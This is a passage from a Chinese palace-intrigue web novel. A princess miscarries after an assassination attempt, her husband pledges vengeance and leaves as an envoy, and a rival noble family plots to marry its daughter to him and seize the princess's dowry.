安康被亲娘一扔,这会儿摔着了。 当然,那会儿的一摔,也是避了暗箭。此时,万珍珠是起身,又抱了亲自好大儿哄一番。 “安康不哭,没事了,没事了。” 万珍珠哄一哄自家的孩子。只是这会儿小安康被哄着不哭了。 万珍珠却是感受到了肚子一抽一抽的疼。 这一回,万珍珠要赶回燕京都。贞静公主那一边还继续祈福。 于是两行人分开。 万珍珠这一行人借助,也只是她这一行人的人手。 出了被暗杀一事。万珍珠的眉头拧得紧。 当然,拧眉也只是一瞬间。尔后,便是松展开。 “殿下,您没事就好。”万嬷嬷早前被侍从隔开。 如今袭杀之辈,尽数拿下。有人在厮杀中丢掉小命,也有人被擒住。 “安康无恙,我……”万珍珠想说她也无恙。 可肚子不止抽疼了,万珍珠感受到了一股热流,从她的小腹流出。 万嬷嬷也注意到了主子的脸色不对。 “哇哇哇……”安康瞧着气氛不对,他是又哭了起来。 “殿下。”万嬷嬷走上前。 万嬷嬷仔细的瞧一瞧大主子和小主子如何? 尔后,万嬷嬷提着的灯盏,她就照见了异样处。 万嬷嬷瞧见主子额间见汗。那神色一下子苍白起来。 “嬷嬷,你替我照顾了安康。我……” 待万嬷嬷按过小世子安康。这会儿万珍珠捂住肚子。 等着进了屋内,万珍珠自己摸清楚了情况。 她流血了。染红了裤子。 侍候万嬷嬷的贴身丫鬟也被吓唬住。因为这会儿贴身的丫鬟们也是想着一事。 不止丫鬟们想到,万嬷嬷也想到了。 一想着一个可能的情况,万嬷嬷的脸色一下子苍白,跟她的主子万珍珠一模一样的苍白。 “殿下的月事是不是晚了?”万嬷嬷明知故问,问了侍候主子的贴身丫鬟。 “嬷嬷,殿下的月事晚了七日。”丫鬟讲道。 “快,赶紧请大夫。”万嬷嬷此时也有一点麻爪的感觉。 在农家,万珍珠暂时的歇了两个时辰。这两个时辰里。 有护卫赶紧的去请来大夫。 请来大夫后,替万珍珠请了脉相。结果不如意料之外。 随行诸人都知道了,新唐侯夫人,浑江公主小产了,一月余的胎儿没了。 “回府。”至于在农家坐小月子?当然不可能。 万珍珠等大夫开了药方,喝了一计方子后。 她就是坐上马车,让一行人往燕京都的侯府赶去。 要坐小月子,万珍珠也得回了新唐侯的这一个家。 途中。 哪怕喝过药了,万珍珠还是觉得不舒坦。越是不舒坦,万珍珠的精神越清醒。 清醒,在很多时候意味着痛楚。 因为醒着,才会感受到痛。一旦晕厥或是睡眠了,反而不知道痛为何物。 安康早被哄睡了。在车厢里,万珍珠的眼睛盯着孩子。 “殿下,您也歇歇吧。”万嬷嬷劝话道。 “我,闭不上眼睛。更睡不着。”万珍珠望着万嬷嬷,她讲道:“我的眼前,还是那的摊红红的血迹。我的肚子里有一个孩子……” 话到这儿,万珍珠的声音哽咽。 “孩子来了,我不知道的时候,不,应该说我没感觉到孩子,孩子没了。”万珍珠话至此,她握紧了拳头。 “我这当娘的太失败了,我对不住这一个没能降生于世间的孩子。” 万珍珠声音有一点暗哑。 “嬷嬷,我明明应该很伤心的,很伤心的。可这儿,就是有一点钝钝的,不痛啊。” 万珍珠指着胸口的位置。 明明应该很愤怒,可万珍珠就是一种提不起怒火的感觉。 只感觉到了麻木,还有一种麻木到了快要失去感觉的地步。 “殿下,您是太伤了。” 万嬷嬷劝道:“殿下,您多想想侯爷,多想想小世子,再想一想老夫人。” “殿下,这世间在乎您的人,可太多了。”万嬷嬷一个一个的扳着指头讲道。 “殿下,您和侯爷将来还会有很多孩子的。小郎君,小女郎,他们可等着殿下您做母亲呢。” 万嬷嬷的语气带着哄人的亲腻味儿。 “殿下,何况今个的幕后黑手还要审。您一定得为没降生的小世子报仇。” 万嬷嬷觉得仇人很重要。 复仇,也是能刺激了人精神的事情。 “对,复仇。” 万珍珠的眼中燃了火。 谁害她的孩子,她要谁命。这一刻,万珍珠就这一个念头。 亲爹的死,万珍珠不知道应该向谁要债。 镐京都太远,万珍珠不当面,她也不知道幕后是何等的凶险。 所以万珍珠想回了镐京都。 可如今小产了,万珍珠想回镐京都,她知道不能成行。 因为她想,枕边人也不会同意了。身边人也会劝住她的。 待万珍珠一行还未回了新唐侯府。 半道上,马快加鞭的赵济世赶来。他从衙门赶来。 一路匆匆,那会儿,万珍珠一行人刚起程不久,正准备回了燕京都的新唐侯府。 “济世哥哥……”万珍珠落泪了。 “无事,我来了。”赵济世望着停下的马车,望着掀起车窗帘子落泪的妻子。 赵济世从马上跳下来,一落地,他往马车而来。 尔后,上了马车,进了车厢内。 赵济世挤在妻子身边,他揽了枕边人入怀里。 他哄了她。 “我来晚了。”赵济世说道。 “对,你来晚了。”万珍珠伸手,她捏了拳头锤了夫君的胸口。 “我们的孩子没了,我没用,我没保住孩子。”万珍珠这会儿的伤心与委屈就巴巴的想讲出来。 因为她知道,她讲出来了,会有人心疼的。 “是我的错,我来晚了。”赵济世把错处揽在自己身上。 “不过,珍珠妹妹放心。谁加害于你,谁加害了我们的孩子,我会复仇的。”赵济世不止说说。 赵济世真的会复仇。不止凶手,与之相干系的人,他一个都不会放过。 一路上,赵济世在哄了伤心的妻子。 其时内心里,赵济世也伤心。只是瞧着哄一哄,睡着了妻子。 赵济世心里也难受。同时,他知道妻子一样,跟他一样的难受。 瞧着妻子睡着了,那还是皱了的眉头。赵济世伸手,替睡着了的珍珠妹妹舒展了眉。 “睡吧,一切有我。” 赵济世哄了枕边人,让对方睡得更沉一点。 等着回到新唐侯府。 赵济世没让人唤醒了妻儿,而是自己抱了妻儿回屋里。 于是万珍珠和好大儿安康是一路睡到家,到家了,还是继续睡着了。 只赵济世没歇息。 赵济世还是亲自安排一番。他要知道幕后是谁? 胆大包天,在燕京都的周边加害诰命夫人与侯府世子。 这简直是挖了赵济世的心。让他不止想 跳脚。 更让赵济世想杀人。 杀,以杀止杀。 在赵济世学会的道理里,拳头大,才有道理。 而不敢杀人的软蛋,那就只有让人欺负的份。 因为这一个世道,从来不是太平的世道。 强者为尊。或者说,强权为尊。 赵济世是新唐侯,他堂堂侯爷,那威望就在刀口子上。 堂堂武勋,一旦拿不到刀把子了,如何守了妻儿,如何守了家业? 赵济世这一遭遇着事,他就像是受过伤的猛兽。 此时,见血了,更为凶恶。 阵上杀才,刀子见血。那么,总要收割一些生命。 要么敌人的,要么自己的。 第90章 待万珍珠再醒来时,她眨巴了一下眼睛。尔后,脑子里回想了睡着前的一切。 “醒了?”一个熟悉的声音在万珍珠的耳边响起。 “嗯。”万珍珠轻轻的应一声。 “先垫一垫肚子,你一定饿了。”赵济世的声音里带着几分温柔。 万珍珠被搀扶起,待她半坐起身后。 万珍珠的目光落在夫君的脸上。她问道:“我睡多久了?” 就像是隔了许久一样,再醒来,万珍珠心里麻麻的。 那一种钝钝的感觉让万珍珠似乎对于时间失去了感知。 “两个半时辰。”赵济世回道。 “原来这般久啊。”万珍珠讲道。 这会儿万珍珠明明应该觉得饿了,可她的胃口很差。 饿了,又不想吃东西。那是一种很矛盾与复杂的感觉。 “听话。”赵济世哄道:“珍珠妹妹,你饿了,不吃东西如何熬得住?” 赵济世劝了,万珍珠轻轻的点头。 都是成年人,什么是好,什么是坏,总归心里有数。 “好。”万珍珠不拒绝。她接过了夫君手中的小碗。 一勺子一勺子的舀着,送进了嘴里。明明是往昔喜爱的食物。 可一口一口的嚼着,却你是嚼蜡一样。那一种麻木感还在万珍珠的身体里,精神里畅游。 瞧着这般模样的妻子,赵济世的心情也不好受。 可妻子这般模样,赵济世有心里准备。 因为大夫瞧过了,太医也请了。赵济世已经从太医那儿知道原由。 妻子不止是需要坐小月子,这是身子骨受到了伤害。 岳丈大人的离逝,妻子失去了最亲的亲人。这是精神上遭的痛楚。 双重的痛楚,身心皆是受创。一时间,人受了打击,必是难熬的。 难熬了,也得熬下去。人生总不会一帆风顺。 赵济世能做的,便是多哄一哄妻子。同时,还是哄一哄好大儿安康。 当丈夫,又当爹。赵济世还在兼顾了衙门里的差遣。 赵济世也是压力满满。 更不肖说,关于岳丈大人的身后事宜。唉,赵济世也是头疼的紧。 按说岳丈大人的身后事宜,赵济世应该亲自料。 可他真的走不开。 如今妻子又出事,赵济世心里更烦闷。奈何,就是妻子出了事,赵济世觉得他得去一趟镐京都。 于是赵济世在妻子晕睡之时,他写了奏本呈上去。 结果如何? 还得看帝王的心意。毕竟赵济世是新唐侯。 没帝王的旨意,他想干一些事情,也是要注意影响的。 如今的赵济世已经暗暗吩咐下去。查,查了幕后谋害自家妻子和孩子的凶手。 一个没能降生的孩子,赵济世也是心疼的。 毕竟他盼着儿孙满堂。 对于赵济世而言,他是希望好大儿安康多了弟弟妹妹。 赵济世前半辈子的奋斗,他是吃过苦头。也是尝过了兄弟多的好处。 若不然的话,赵济世不会与结义的十位义弟一起同甘苦。 这世道就是如此,绑一起,大家伙一起奋发向上。 真是走独狼之道,世道不容。 在赵济世瞧过的众生诸道里,他没瞧着,谁是走独狼之道,还能混一个风生水起,富贵满堂。 人情往来,利益纠葛,总归是人的江湖。 那么,结盟与拉人头,很多时候是很有用的。至少在赵济世的心里是如此。 介于认知,赵济世就盼着儿孙满堂。子孙越多,那么,能合众的力量就越众。 人多力量大,这是赵济世信奉的人生观与价值观。 大赵朝,燕京都,皇宫,泰一宫。 承顺帝病了一场。只是帝王病了,却是瞒了世人。 “咳。”承顺帝轻咳一小会儿。 哪怕在病中,帝王还是批了奏本。于是新唐侯赵济世的奏本呈上来。 “忠义侯……”承顺帝念叨一回。 关于镐京都发生的事情,承顺帝早得秘报。 至于自己妹妹李太后在中间的操作,承顺帝也得到了一些了解。 忠义侯救驾,人没了,死得忠义。身后名有了。 同时,忠久侯的势力嘛,让李太后这一位承顺帝的亲妹妹接手。 对于忠义侯,承顺帝有了一个好印象。 谁让自家是拿着好处的一派。大晋的太后是大赵的公主。 大晋的皇后,还是大赵的公主。 对于大晋朝,承顺帝原来有心思,是恨不能捏手里。 如今自己龙体欠安。承顺帝又盼着大晋皇权安稳。 这对于大赵朝,何尝不是一种保证。 因为一旦承顺帝自己出问题,万一,但凡有一个万一。 承顺帝是盼着大晋朝在外,也是对于大赵朝的皇权承袭加一重的保证。 明明是青年帝王,可承顺帝也要考量了皇权的交接问题。 立嫡立长,如今的承顺帝没有嫡子,他自然考量了长子。 可长子的年纪,瞧着也不大。承顺帝心有担忧。 在心头,承顺帝对于新唐侯想出使大晋朝。 他在奏本上批了一个“准”字。 联络有亲,大晋大赵的盟友关系,越深越好。 同时,承顺帝已经有想法。他准备册立太子。 这太子自然便是长子。 至于长子生母,承顺帝准备册立为贵妃。 宫廷内苑,添一位贵妃是小事。可册立了储君就是大事。 燕京都,因为帝王一念,一时风起云涌。 燕京都,内城,孔府。 孔六姑娘从皇宫归家,她见过姐姐,也知道姐姐的烦恼。 帝王下旨,晋封皇长子生母为贵妃。同时,还差内府安排储君的冠冕朝服等等。 这不是暗示,这是明示。 孔皇后心有不甘。于是,还是在妹妹跟前露了口风。 一归家。 孔六姑娘就寻了母亲倾述,她的嘴里,自然是讲一讲姐姐孔皇后的不容易。 在孔六姑娘嘴里,孔皇后简直成了可怜的中宫。 对于孔家夫人而言,自己的嫡长女成了皇后,自然是举家荣耀。 可一旦陛下册立了太子,中宫的皇后就尴尬起来了。 毕竟皇后年纪,早早晚晚,等着生下嫡子怎么办? 太子一旦册立,想废黜可不是容易的事情。 “此事,我要跟你父亲商量商量。”孔家夫人安抚了一番小女儿。 孔六姑娘得了母亲的一番保证,也是心安三分。 尔后,孔六姑娘回了自己住的院子。 一回去,孔六姑娘就招呼了奶嬷嬷,讲道:“嬷嬷,让甄娘子给我做了烤奶酪,我就爱她的厨艺。” “姑娘放心,奴婢这去催。”奶嬷嬷笑着应了话。 这一厢,等着厨娘甄娘子做好了烤奶酪,孔六姑娘尝一番。 “奶嬷嬷,唤甄娘子来。我亲自赏她。” 孔六姑娘待甄娘子挺友好。那一份友好,让侍候孔六姑娘的奶嬷嬷也是羡慕的很。 那当然,羡慕归羡慕,说是嫉妒,那是没有的。 在心里,奶嬷嬷还是有一些惧怕甄娘子。 在孔府诸人眼中,甄娘子是奶嬷嬷的亲戚。甄娘子能进府当差,也是走了孔六姑娘的奶嬷嬷孔氏的门路。 可在心底,孔嬷嬷最清楚,哪是这甄娘子走她的门道。 而是孔嬷嬷被威胁的。 早逝的丈夫,独生的亲儿子。而这一个儿子又是一个赌鬼。 赌鬼嘛,一旦输红了眼睛,爹娘都能舍了。 可孔嬷嬷也无奈,她一辈子就得这么一个骨血。 待将来,百年后,总归要让儿子祭祀血食与香火。 总不能去了地下,还当一个饿死鬼?没名没份,走轮回路也不安生。 对于孔嬷嬷而言,死后,有人摔盆这很重要。 她信这个。 或者说这一个世道里,人人都信,侍死如生。 大环境如此,谁能不信?至少孔嬷嬷信的很。 于是孔嬷嬷就让人拿捏了。 甄娘子被唤到堂屋时,她恭敬向孔六姑娘见礼。 “今个的烤奶酪不错,果然是草原的风味。” 孔六姑娘笑道。 “姑娘喜爱,奴婢荣幸。”甄娘子低头回话 道。 孔六姑娘使一个眼神,自然是贴身丫鬟给了赏。 甄娘子得了赏,尔后,磕头,谢恩,告退。 等离开了,甄娘子回了威望后。她打开了得赏的荷包。 在荷包里,甄娘子瞧见一个纸条儿。 拿过纸条一瞧后,甄娘子揉巴揉巴,她把纸条吞了下去。 大赵朝,燕京都,内城,新唐侯府。 养两日,万珍珠的情绪已经收拾过几番。她能勉强抑制了自己的伤心。 人活着,总不能凄凄哀哀,那不是万珍珠的性子。 一旦受了伤。万珍珠更想让敌人更痛。 痛在敌人的身上,更容易让自己舒坦。 “珍珠妹妹,我跟陛下请了恩旨。我近日将出使大晋。同时,也会迎了岳母大人来燕京都养老。” 赵济世跟妻子讲了他的安排。 “关于岳丈大人的身后事宜,我亲自去一趟。珍珠妹妹宽心,你如今最要紧的,还是好好的调养。” 赵济世揽了诸事,至于妻儿,虽留府里。 可关于后绪的安排,赵济世也是多番的思量过。 于是万嬷嬷等陪嫁,自然人人是得了赵济世这一位侯爷的吩咐。 往后,万嬷嬷的任务就是照顾好小世子,还有小世子亲娘。 “……”万珍珠的目光落在枕边人的身上。 “我应该说谢谢,可谢谢,太疏远。”万珍珠伸手,她握了丈夫手。 “听着济世哥哥的周详安排,一想到爹娘诸事,有济世哥哥替我操心。我心里,总归不那么的疼了。” 万珍珠握着丈夫的手,按在自己的胸口处。 似乎那儿钝钝的麻木感,在枕边人的宽慰下,也似乎温暖几分,舒坦几分。 “我们是一家人。”赵济世揽了妻子入怀。 “珍珠妹妹,岳丈大人,岳母大人,二老最心疼你。你好好的,才是让二位最欣慰的事。” 赵济世劝慰道。 “不止二老在意妹妹,我也一样在意珍珠妹妹。这一个家,不可缺了珍珠妹妹。”赵济世抱着妻子,不是哄了怀中人。 赵济世是真盼着枕边人走出伤心,这日子嘛,总归是自己想开了,才能过好了。 “嗯。”万珍珠轻轻应一声。 “珍珠妹妹,关于几日前的事情,我已经查着一些线索。”赵济世又提了妻儿在农户遇着的暗杀一事。 一提这事,万珍珠的一下子在意上了。 “济世哥哥,是谁?”万珍珠问道。魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m 90-100 第91章 赵济世在万珍珠的耳边念了几个名字。万珍珠一脸茫然。 这些名字,她一个也不熟悉。 赵济世瞧着妻子的模样,他讲道:“跟东南一事相干系。” 一听着枕边人提了东南一事。万珍珠回过神来。 “东南民乱。”万珍珠问道。 赵济世轻轻颔首。他道:“目前查到,有东南曹氏、魏氏、颜氏的影子。” “这三族……”万珍珠皱了眉头。 “他们不是在民乱之后,被朝廷砍头的砍头,流放的流放。” 万珍珠提着三族人时,她是没好气的。这些人个个有报应,真是不冤枉。 可谓是东南民乱,实则人祸。这三族就是当地一害。 至于三族被挖根刨出来,有万珍珠的手笔。 虽然在事后,万珍珠收留一些人手去海外大岛。 万珍珠是趁着这一波的事情,也是发了一笔横财。 可那些钱财,万珍珠占了,也没有尽数花销在自己身上。她只是取之于民,用之于民。 万珍珠的嫁妆里,名下的商社南来北往,东来西去。 三族造成的人祸,致民乱起。 这朝廷拿住的证据,哪来的?就是万珍珠的人手给提供的。 事后,万珍珠也确实收揽了一波的人手。再是得了三族中,一些产业。 这些事情,万珍珠干的时候没半点心虚。毕竟这三族的人太黑。 那些民乱里死的黎庶百姓,那才叫冤枉与委屈。 “这背后一定还有人。”万珍珠咬牙讲道。 区区三个倒台的家族,哪怕有干系,也是棋子。 万珍珠才不是信是三族人手做的庄家。 “我会继续查的。”赵济世给了妻子保证。 万珍珠应一声。在心里,万珍珠也会发动人手。 万珍珠也要查一查。 甭管是为自己,还是为没了孩子,讨一个公道是必需要的。 以牙还牙,以血还血。这是万珍珠人生信条。 真是软趴趴,那不是万珍珠的性格。 又两日。 赵济世得了朝廷旨,交接了衙门的差遣。尔后,他跟妻儿告别,往大晋出使一趟,是大赵的使节,同时,也去镐京都替岳丈岳母尽了孝心。 可谓是忠孝两全。 这当然是赵济世的期许。至于成不成?就看赵济世的本事。 从大赵的燕京都离开。 赵济世走时,也是牵肠挂肚,还是在意了府上的妻儿。 于是赵济世能做的便是托于诸义弟与弟妹们。 燕京都,内城,新唐侯府。 万珍珠还在坐小月子,所以,诸弟妹们轮流来了府上,也至多陪她说说话,解解闷。 也算顺道跟万珍珠探讨一二燕京都的趣闻。 至于安康,小娃娃几天不见亲爹,虽是念着。 可有亲娘哄了,小娃娃还是给哄好了。 大赵朝,燕京都,皇宫,凤仪宫。 孔皇后的心情不美妙。可这般,她还是耐心的陪一陪亲妹妹孔六姑娘。 “姐姐,您替我做主吧。”孔六姑娘满脸的不开心。 孔皇后瞧着妹妹,心头一声叹息。这一个妹妹被母亲宠坏了。 心头这般想,可嘴里,孔皇后还是问道:“你想姐姐如何替你做主?” “姐姐给我赐婚吧。”孔六姑娘讲道。 “……”孔皇后沉默了。 “姐姐。”孔六姑娘这会儿凑在姐姐跟前,她是撒娇说道:“我真是丢死个人了。” 孔六姑娘这会儿满脸的委屈。 至于妹妹委屈什么?孔皇后当然懂得。 “你的婚事,不能只有姐姐做主。爹娘的心意如何,姐姐总要问一问。” 孔皇后望着妹妹,讲道:“姻缘事,结两姓之好。妹妹,家族为重。” “哼。”孔六姑娘冷哼一声。 这一回进宫,孔六姑娘在姐姐跟前吃一个憋屈。 等着出宫时,她还是恙恙不乐的模样。孔皇后瞧着这般模样的妹妹,她是叹息一回。 待着孔六姑娘离开后。 孔皇后与陪嫁嬷嬷讲道:“嬷嬷,你也瞧见了,本宫的妹妹还是长不大,真是被宠坏了的女郎。” “皇后娘娘,六姑娘也为难了。”陪嫁嬷嬷是了解一些皇后的心情。 在皇后心里,娘家人很重要。陪嫁嬷嬷当然不会说了六姑娘的坏话。 “也是家族里有些人的心思太大了。糊涂。”孔皇后不开心。 陪嫁嬷嬷听着孔皇后的话,沉默了。 孔六姑娘进宫一趟,不开心的回了孔府。 一回府,孔家夫人就唤了小女儿去跟前问话。 在母亲跟前,孔六姑娘是一样的态度,尽是说了姐姐不疼她这一个亲妹子。 “你个糊涂的,你姐姐不心疼你,还尽疼谁。” 孔家夫人伸手,在女儿的额头虚虚一点。 “哼。” 孔六姑娘还是不开心的模样。 “当初,那是谁说的,她想做了新唐侯府的主母。”孔家夫人问道。 “我说的。”孔六姑娘讲道。 “可,那新唐侯夫人好好的,新唐侯府又有小世子。我就是羡慕了一回新唐侯待嫡妻爱重有嘉,一心一意嘛。” 孔六姑娘摇一摇亲娘的胳膊。她撒娇道:“这不,我如今也不是那么欢喜新唐侯。毕竟是有妇之夫。” “我就想嫁一门显贵,也是不落了姐姐的中宫体面。孔氏嫡女,自然是嫁了门当户对的高门公子。” 孔六姑娘一脸的张扬,那骄傲明摆在脸上。 孔家夫人瞧着这般模样的女儿,轻轻 摇摇头。 “跟你年岁相当的,哪有多少合适的人选。”孔家夫人很头疼了女儿的婚事。 或者说想小女儿的未来夫婿能帮衬上大女儿孔皇后。 这中间的思量太多了。 孔家夫人既是心疼小女儿,更是心疼大女儿。 谁让承顺帝要册立东宫太子。在这等情况下,孔家夫人更在意了中宫位置的安稳。 “你啊,莫不成还恨嫁了。”孔家夫人伸手,在小女儿的额头虚虚一点。 “娘,女儿明明是想着嫁一门好夫婿替家族分忧,如何是恨嫁了?” 孔六姑娘不开心的讲道。 “成了,成了,你尽是替家族分忧的好心。娘全懂。” 孔家夫人哄一哄小女儿。 一番话下来,哄得小女儿开心了。孔六姑娘得了母亲给的安慰奖励。 于是让随身丫鬟拿着几匣子的头面首饰,方是开开心心的从母亲的院子离开。 瞧着小女儿离开的背影,孔家夫人心头在想着昨个夫君的话。 有些事,孔家夫人也知道。有些话,偏生知道了,孔家夫人不能对小女儿讲的。 等回了自个住的院子,孔六姑娘打发了侍候的丫鬟婆子。 她留了奶嬷嬷在跟前。 “嬷嬷,这个给你。”孔六姑娘坐于梳妆台前,从匣子里拿了一样金钗。 “谢姑娘赏。”孔嬷嬷很高兴。 白得赏,还是金钗,值着老鼻子的钱。孔嬷嬷心头欢喜。 “我吃了嬷嬷的奶水长大,我心里,嬷嬷就是亲人。”孔六姑娘拉了家长里短。 这话让孔嬷嬷听着,那心里太烫贴了。暖暖的,让孔嬷嬷感动。 这会儿孔六姑娘在孔嬷嬷跟前讲了自个的委屈。 一些女儿家的私房话,在孔嬷嬷这儿,孔六姑娘是想说就说。 “……” 等着听完孔六姑娘的委屈后,孔嬷嬷讲道:“姑娘受委屈了。” “那新唐侯真是配不上姑娘一片痴心。”孔嬷嬷指责一番。 “新唐侯是陛下信任的勋贵,他自是极好的。”孔六姑娘轻轻摆手。 孔嬷嬷听着孔六姑娘的话,她忙是转了话风。 “新唐侯堂堂显贵,确实是不凡。只那侯夫人,出身太差。不过是一个阉人的闺女。”在孔嬷嬷这儿,自然是贬了新唐侯夫人万氏的身份。 “可人家是大晋朝的公主。”孔六姑娘闷闷不乐的讲一句。 “大晋在哪,在西边。咱们站的土地是大赵朝廷管着。姑娘,奴婢说一句僭越的话。这大晋的公主,在大赵不值当什么。” 孔嬷嬷的嘴里,那话是越说越胆大。 “要奴婢说,那新唐侯夫人也是无福的。背后的太监爹没了,不过是没娘家支撑的孤魂儿……” “听说,刚没爹,又小产。这就是无福的命数。” 在孔嬷嬷的嘴里,新唐侯夫人万氏被挑剔的,真是怎么瞧,怎么差劲。 孔六姑娘听着孔嬷嬷的话,似乎是赞同的点点头。 “对,一听嬷嬷这么说,还是挺有道理的。” 孔六姑娘颔首,表示赞同。 这般,在屋里孔六姑娘跟孔嬷嬷吐槽一番。 她的心情似乎变美了许多。 当日,夕食前。 孔家夫人见了孔嬷嬷,从孔嬷嬷这儿问一问小女儿的情况。 孔嬷嬷有一说一,自然替孔六姑娘描补一二。 不过嘛,有些话,孔嬷嬷还是讲了。 “……” 孔家夫人听过孔嬷嬷的话,问道:“这般说来,我儿还是心悦新唐侯?” “瞧着姑娘是挺中意新唐侯。”孔嬷嬷恭敬的回道。 孔家夫人一听,摆摆手,挥退了孔嬷嬷。 晚间,待孔家主回府后。 孔家主被请来了夫人的院里。夫妻见面,孔家主挺给嫡妻体面。 至于说感情? 这感情问题,自然是相敬如宾。 “瞧夫人神情,有心事?”孔家主瞧着嫡妻的模样,问了话道。 “自是有心事。”孔家夫人本来就准备说一说事,这会儿便是点一点话题。 “头疼了两桩事,宫廷里,陛下册立东宫。皇后娘娘那儿,也是心里难安。” 孔家夫人一提这事,孔家主的神色也是微微一变。 “天子行事,自有章程。我等身为臣子,岂能非议。”孔家主就是心头想非议。 那也得拿了主意后,那是差人行事。至于嘴里嘀咕? 孔家主是不会的。 嘴炮,那是没效果。只有真正行事,想法子挡了灾才成。 “朝廷大事,关乎国本。我是不懂的。夫君,我只懂,皇后娘娘是我们的长女。我心疼我儿。” 孔家夫人不讲大事大节,她只讲母女之情。 “唉。”孔家主一声叹息。 “夫人,这事情只能请皇后娘娘大局为重。”孔家主能怎么办? 帝王威仪,军功镇着。 承顺帝不是儿皇帝,他是上位天子,一举一动,自然承天顺意。 天子想干成的事情,至少目前的朝局里,没臣子能忤逆。 便是太上皇那一边,瞧着如今也是安静的很。 连太上皇的势力,天子都是削一个干净。不留体面。 孔家主以家族为重,他不可能糊涂又急切的操持大事。 “……”孔家夫人瞧着夫君的态度,她在袖中的手,那是握一握,又松开。 “朝廷大事,我不懂,想必夫君皆有数。皇后娘娘那儿,我会想法子宽慰一二。在大事上,真是帮衬不上娘娘。那在钱财上,总要体贴娘娘一番。” 孔家夫人准备用银钱开道,宽慰了长女。 “皇后娘娘母仪天下,最是尊贵不过。确实不能委屈。” 孔家主同意了妻子的话。 显然在银钱方便,孔家主肯定不会委屈了长女这一位中宫。 家族嘛,那应该在自家血脉上的投资,肯定不会吝啬。 毕竟中宫的体面,也是孔氏一族的体面。 说一说皇后的事情。孔家夫人又提了小女儿的婚事。 “另一桩事情,便是小女儿的婚事。”孔家夫人一提。 孔家主的眉头一皱。 “她又闹腾了。”孔家主问道。 “……”孔家夫人低了眉眼,忙回道:“夫君,小女儿哪会不懂事。她不闹腾,我就心疼孩子。” “当初,您提过的,说是新唐侯乃陛下腹心。一旦联姻,对于皇后娘娘多是能帮衬上的。” 孔家夫人一提旧事。 孔家主的眉头皱一皱,尔后,又是舒展开。 “下面人办事不利。哼,曹氏等废物,不堪一用。” 孔家主不开心。 说些小女儿的婚事,孔家主心情更坏。 瞧着夫妻的模样,孔家夫人也是讷讷无言。 孔家因着出了一位中宫皇后,要摆体面,自然需要大大的家业。 银钱往来也罢,人情往来也罢,没银钱开道,何来奢侈与体面? 奢侈与体面,在世家世族的眼中,那就是摆着瞧着。而是体现了尊贵与地位。 毕竟是世家,真是落魄了,那更不能摆台面上。 何况孔氏一族还出了一位中宫。 想出中宫,想搏了天子欢喜。孔氏一族是出了大血的。 在背后给皇家的献金,给宗室的献金。那里面舍出去的银钱与产业。 那不是嘴皮子一碰,那就洒洒水。 孔氏一族舍了那般多,为何?讨了天子欢喜是其一。 更主要不是孔氏一族想攀附皇权,想更进一步。 得了孔氏一族大好处的天子嘛,自然是大笔一挥。 于是册立了孔家主的嫡长女为皇后。 孔四姑娘在族里排序四,可在孔家主这一房,她就是孔家主的嫡长女。 嫡房长女,做了皇后。说出去,这是堪配的良缘。 只孔家大出血。那么,如何回血?这是大问题。 孔六姑娘跟崔家姑娘有往来。 这不,偶尔在亲娘跟前一提。自然是赞了几回新唐侯的一心一意,不纳二色。 小女儿的话,说者无心,听者有意。 在忠义侯万忠良人没了后,在浑江公主万 珍珠有大把的嫁妆,那嫁妆多的让人眼珠子红了时。 有人自然动了心思。孔家主就是拿主意的。 至于操刀的,自然是曹氏三族的棋子。 幕后嘛,勾连了宫廷里。只是宫廷里只吃肉,不会脏了手。 有些事情是下面人办的。办的事情,还要漂亮。 依着孔家夫人知道的。自然是新唐侯夫人无福之后。 皇家赐婚,孔家与新唐侯赵济世联姻。 那新唐侯原配的嫁妆?这明面的嫁妆,自然是摆明面上。 可浑江公主的嫁妆,不止是明面的嫁妆。还有那些的各地的产业。 有些大肥肉,三下五除二,那里的门道就多着。 大赵朝,燕京都,内城,新唐侯府。 “都年节下了。”万珍珠这一回的小月子是坐了双月。 于是宫廷里的宫宴,她是参加不了。 不过,哪怕不坐小月子。万珍珠的爹没了。这出嫁的闺女也要守孝。 白事一遇上,自然要避一避。 宫廷贵人多,肯定不能让贵人沾了晦气的。 于是新唐侯府没人参加今年的宫宴,递了牌子,递了话头。 宫廷里自然是安抚一二,给了体面。 “殿下,年节下了,日子真快。”万嬷嬷也是附合一回话。 “只不知,济世哥哥到了镐京都,他的差遣可安办好?还是爹娘……” 万珍珠一提着爹娘时。 万珍珠心头也是一声叹息。对于不能亲去镐京都。 万珍珠是遗憾的。 “嬷嬷,事情查得如何?”这会儿的万珍珠突然转移了话题。 万嬷嬷一听主子问话,忙回道:“查着一些线索。只待验证一番。” “说说。”哪怕要验证了,万珍珠还是想知道查到了一些什么。 万嬷嬷一一禀报。 万珍珠听后,神色冷了下来。她道:“爹一去逝,我倒成了一块大肥肉。觉得是一个人物的,都想来咬几口啊。” 万珍珠嘴里这般说,她的一双眼眸子里尽是渗着寒意。 “嬷嬷,让人仔细的查,我不急着时间。我只是有一个要求,不能放过了凶手。”万珍珠交待话道。 “唯。”万嬷嬷应下话。 这会儿万珍珠伸手,她是按一按额头。她头疼。 不止头疼。万珍珠真心觉得心口有一团火。 这一团火在燃着。 万珍珠只一个念头,寻着凶手。那把心口的一团火要烧着了凶手。 人致她于死地,不,应该说谋害了她的孩儿。 为母则刚,万珍珠一定要替自己没降世的孩儿复仇的。 怎么复仇,当然是以命换命。 阎罗名册记,只要是仇人,索命就是。 大晋朝,镐京都,内城,浑江公主府。 赵济世早踏足了镐京都,一来,先是办妥了大晋朝的使节任务。 不外乎是送了贺礼给当朝李太后,小李皇后二位贵人。 同时,献了大赵朝的贺表。 赵济世这一位使节,也是受了隆重的接待。 李太后赏了一回赵济世这一位使节。说来,二人还是旧识。 朝廷使节的差事办妥后。赵济世才是做了一个女婿的份内事。 安排岳丈大人的身后事,安抚了岳母大人。 同时,关于岳丈大人的死因,赵济世总要弄一个明白。 可不能糊涂着。 前院,书房。 赵济世见着了宋三德,这一位岳丈大人的义子。 赵济世可知道,这一位宋三德,宋义兄如今替李太后办事的。 在宫廷里也是威风的很。 “义兄。”赵济世哪怕是大赵侯爷,在宋三德跟前,还是摆了亲情关系。 “赵兄弟,你这礼,咱受的心虚。”宋三德瞧着赵济世这做人做派,心头是满意的。 瞧瞧,人勋贵侯爷,这态度,那多诚恳。 不做假,真心不真心,宋三德一个太监最会瞧眼色,那是瞧得出来。 赵济世为人处事,就图一个真心。 “义兄,岳丈大人身后事,你也是帮衬许多。我和内子,一样是感激的很。”赵济世对着宋三德是拱手行一个礼。 